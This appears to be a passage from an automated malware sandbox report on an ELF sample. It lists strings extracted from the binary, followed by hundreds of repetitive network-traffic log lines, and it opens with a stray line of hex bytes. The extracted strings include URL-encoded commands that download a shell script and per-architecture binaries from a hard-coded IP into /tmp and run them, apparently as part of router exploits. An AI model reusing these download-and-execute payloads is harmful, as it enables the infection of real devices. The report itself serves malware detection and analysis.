20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75

Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/arm7;chmod
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh;
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/mips
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/mips;
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/mpsl;chmod
Source: fIupB48xS0.elf	String found in binary or memory: http://109.205.214.35/x86
Source: fIupB48xS0.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: fIupB48xS0.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: fIupB48xS0.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 40122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45380
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50730
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54654 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48404
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48402
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45376
Source: unknown	Network traffic detected: HTTP traffic on port 60528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45370
Source: unknown	Network traffic detected: HTTP traffic on port 36898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39928
Source: unknown	Network traffic detected: HTTP traffic on port 40810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44036
Source: unknown	Network traffic detected: HTTP traffic on port 32856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46694
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43182
Source: unknown	Network traffic detected: HTTP traffic on port 53214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59578
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36406
Source: unknown	Network traffic detected: HTTP traffic on port 50714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37724
Source: unknown	Network traffic detected: HTTP traffic on port 54630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34220
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37726
Source: unknown	Network traffic detected: HTTP traffic on port 46758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59584
Source: unknown	Network traffic detected: HTTP traffic on port 53132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38650
Source: unknown	Network traffic detected: HTTP traffic on port 46656 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37322
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37324
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38646
Source: unknown	Network traffic detected: HTTP traffic on port 32798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37790
Source: unknown	Network traffic detected: HTTP traffic on port 56504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56488
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58666
Source: unknown	Network traffic detected: HTTP traffic on port 41116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40958
Source: unknown	Network traffic detected: HTTP traffic on port 33564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40952
Source: unknown	Network traffic detected: HTTP traffic on port 42728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50714
Source: unknown	Network traffic detected: HTTP traffic on port 55636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59532
Source: unknown	Network traffic detected: HTTP traffic on port 56410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 54736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 54560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44068
Source: unknown	Network traffic detected: HTTP traffic on port 37144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58208
Source: unknown	Network traffic detected: HTTP traffic on port 56344 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35114
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56034
Source: unknown	Network traffic detected: HTTP traffic on port 59012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38618
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57360
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34260
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60528
Source: unknown	Network traffic detected: HTTP traffic on port 41530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35388 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47568
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49346
Source: unknown	Network traffic detected: HTTP traffic on port 48220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51666
Source: unknown	Network traffic detected: HTTP traffic on port 49242 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52994
Source: unknown	Network traffic detected: HTTP traffic on port 57694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48488
Source: unknown	Network traffic detected: HTTP traffic on port 54720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60142
Source: unknown	Network traffic detected: HTTP traffic on port 34714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51208
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46298
Source: unknown	Network traffic detected: HTTP traffic on port 38270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47142
Source: unknown	Network traffic detected: HTTP traffic on port 43558 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 38768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48460
Source: unknown	Network traffic detected: HTTP traffic on port 35970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37334
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39514
Source: unknown	Network traffic detected: HTTP traffic on port 53664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38666
Source: unknown	Network traffic detected: HTTP traffic on port 49196 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50776
Source: unknown	Network traffic detected: HTTP traffic on port 54498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60576
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42746
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56082
Source: unknown	Network traffic detected: HTTP traffic on port 40886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48048
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49378
Source: unknown	Network traffic detected: HTTP traffic on port 51466 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37394
Source: unknown	Network traffic detected: HTTP traffic on port 39526 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59126
Source: unknown	Network traffic detected: HTTP traffic on port 45592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42736
Source: unknown	Network traffic detected: HTTP traffic on port 44246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41400
Source: unknown	Network traffic detected: HTTP traffic on port 44328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60588
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47188
Source: unknown	Network traffic detected: HTTP traffic on port 55722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52974
Source: unknown	Network traffic detected: HTTP traffic on port 59764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42728
Source: unknown	Network traffic detected: HTTP traffic on port 43792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42720
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41872
Source: unknown	Network traffic detected: HTTP traffic on port 42736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36042
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51144
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54654
Source: unknown	Network traffic detected: HTTP traffic on port 44892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32870
Source: unknown	Network traffic detected: HTTP traffic on port 37966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39496
Source: unknown	Network traffic detected: HTTP traffic on port 34424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33700
Source: unknown	Network traffic detected: HTTP traffic on port 38982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49292
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51158
Source: unknown	Network traffic detected: HTTP traffic on port 53254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40474
Source: unknown	Network traffic detected: HTTP traffic on port 55034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43984
Source: unknown	Network traffic detected: HTTP traffic on port 57846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55524
Source: unknown	Network traffic detected: HTTP traffic on port 39116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52016
Source: unknown	Network traffic detected: HTTP traffic on port 46648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41796
Source: unknown	Network traffic detected: HTTP traffic on port 36240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44824
Source: unknown	Network traffic detected: HTTP traffic on port 37394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52028
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42638
Source: unknown	Network traffic detected: HTTP traffic on port 57158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54616
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43562
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39066
Source: unknown	Network traffic detected: HTTP traffic on port 55800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52434
Source: unknown	Network traffic detected: HTTP traffic on port 51048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41370
Source: unknown	Network traffic detected: HTTP traffic on port 46170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52442
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52446
Source: unknown	Network traffic detected: HTTP traffic on port 43040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59314 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53308
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54630
Source: unknown	Network traffic detected: HTTP traffic on port 52584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52458
Source: unknown	Network traffic detected: HTTP traffic on port 43580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52460
Source: unknown	Network traffic detected: HTTP traffic on port 35844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43534
Source: unknown	Network traffic detected: HTTP traffic on port 44902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52462
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40494
Source: unknown	Network traffic detected: HTTP traffic on port 52858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45782
Source: unknown	Network traffic detected: HTTP traffic on port 55856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60938
Source: unknown	Network traffic detected: HTTP traffic on port 53188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34648
Source: unknown	Network traffic detected: HTTP traffic on port 35696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56440
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58620
Source: unknown	Network traffic detected: HTTP traffic on port 60320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55590
Source: unknown	Network traffic detected: HTTP traffic on port 33360 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57770
Source: unknown	Network traffic detected: HTTP traffic on port 60938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42266
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40080
Source: unknown	Network traffic detected: HTTP traffic on port 42300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33304
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59956
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52098
Source: unknown	Network traffic detected: HTTP traffic on port 53308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43580
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56456
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36802
Source: unknown	Network traffic detected: HTTP traffic on port 48752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41396
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47930
Source: unknown	Network traffic detected: HTTP traffic on port 53800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34614
Source: unknown	Network traffic detected: HTTP traffic on port 48460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59500
Source: unknown	Network traffic detected: HTTP traffic on port 42638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42238
Source: unknown	Network traffic detected: HTTP traffic on port 34232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42232
Source: unknown	Network traffic detected: HTTP traffic on port 52596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47920
Source: unknown	Network traffic detected: HTTP traffic on port 43052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57726
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53368
Source: unknown	Network traffic detected: HTTP traffic on port 53100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33360
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60622 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56408
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53378
Source: unknown	Network traffic detected: HTTP traffic on port 41042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33348
Source: unknown	Network traffic detected: HTTP traffic on port 40788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56406
Source: unknown	Network traffic detected: HTTP traffic on port 34220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37700
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56410
Source: unknown	Network traffic detected: HTTP traffic on port 53574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48834
Source: unknown	Network traffic detected: HTTP traffic on port 40474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56416
Source: unknown	Network traffic detected: HTTP traffic on port 40208 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43136
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54246
Source: unknown	Network traffic detected: HTTP traffic on port 44206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35504
Source: unknown	Network traffic detected: HTTP traffic on port 36802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59934
Source: unknown	Network traffic detected: HTTP traffic on port 35114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36838
Source: unknown	Network traffic detected: HTTP traffic on port 53006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48814
